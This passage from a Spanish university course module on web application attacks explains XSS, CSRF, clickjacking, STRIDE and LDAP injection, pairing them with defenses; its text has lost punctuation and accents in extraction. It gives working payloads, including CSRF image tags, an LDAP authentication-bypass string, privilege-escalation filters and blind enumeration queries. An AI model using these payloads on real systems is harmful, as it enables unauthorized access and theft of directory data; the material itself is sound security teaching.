sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
